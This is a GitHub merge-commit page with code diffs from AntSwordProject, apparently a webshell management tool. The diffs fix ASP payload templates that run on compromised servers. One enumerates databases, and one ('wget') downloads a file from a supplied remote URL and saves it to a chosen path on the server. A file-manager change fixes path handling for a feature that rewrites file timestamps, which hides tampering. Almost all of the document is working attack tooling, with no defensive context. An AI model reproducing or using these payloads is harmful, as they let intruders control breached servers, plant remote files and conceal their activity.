Merge pull request #99 from jjf012/master

fix #98 issues
AntSwordProject · Sep 5, 2018 · b7d91d3 · b7d91d3
2 parents cbb67dd + a76e044
commit b7d91d3
Show file tree

Hide file tree

Showing 3 changed files with 9 additions and 5 deletions.
diff --git a/source/core/asp/template/database/access.js b/source/core/asp/template/database/access.js
@@ -6,9 +6,9 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
   // 显示所有数据库
   show_databases: {
     _:
-      `Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open bd(Request("${arg1}")):If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:SI=Request("${arg2}")&chr(9):Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,
+      `Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open bd(Request("${arg1}")):If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:SI="[ADO DATABASE]"&chr(9):Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,
     [arg1]: '#{hex::conn}',
-    [arg2]: '#{dbname}'
+    // [arg2]: '#{dbname}'
   },
   // 显示数据库所有表
   show_tables: {

diff --git a/source/core/asp/template/filemanager.js b/source/core/asp/template/filemanager.js
@@ -71,7 +71,7 @@ module.exports = (arg1, arg2, arg3) => ({
 
   wget: {
     _:
-      `Dim SI:Set x=CreateObject("Microsoft.XMLHTTP"):x.Open "GET",""&bd(Request("${arg1}"))&"",0:x.Send():If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:set s=CreateObject("ADODB.Stream"):s.Mode=3:s.Type=1:s.Open():s.Write x.ResponseBody:s.SaveToFile ""&bd(Request("${arg2}"))&"",2:If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:SI="1":End If:Set x=Nothing:Set s=Nothing:End If:Response.Write(SI)`,
+      `Dim SI:Set x=CreateObject("MSXML2.ServerXmlHttp"):x.Open "GET",""&bd(Request("${arg1}"))&"",0:x.Send():If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:set s=CreateObject("ADODB.Stream"):s.Mode=3:s.Type=1:s.Open():s.Write x.ResponseBody:s.SaveToFile ""&bd(Request("${arg2}"))&"",2:If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:SI="1":End If:Set x=Nothing:Set s=Nothing:End If:Response.Write(SI)`,
     [arg1]: "#{hex::url}",
     [arg2]: "#{hex::path}"
   }

diff --git a/source/modules/filemanager/index.js b/source/modules/filemanager/index.js
@@ -446,11 +446,15 @@ class FileManager {
       content: `<input type="text" class="layui-layer-input" onClick="laydate({istime: true, format: 'YYYY-MM-DD hh:mm:ss'});" value="${oldtime}">`
     }, (value, i, e) => {
       this.files.cell.progressOn();
-
+      let path = this.path;
+      if (this.isWin) {
+          path = path.replace(/\//g, '\\')
+      }
       // http request
       this.core.request(
         this.core.filemanager.retime({
-          path: this.path + name,
+          // path: this.path + name,
+          path: path + name,
           time: value
         })
       ).then((res) => {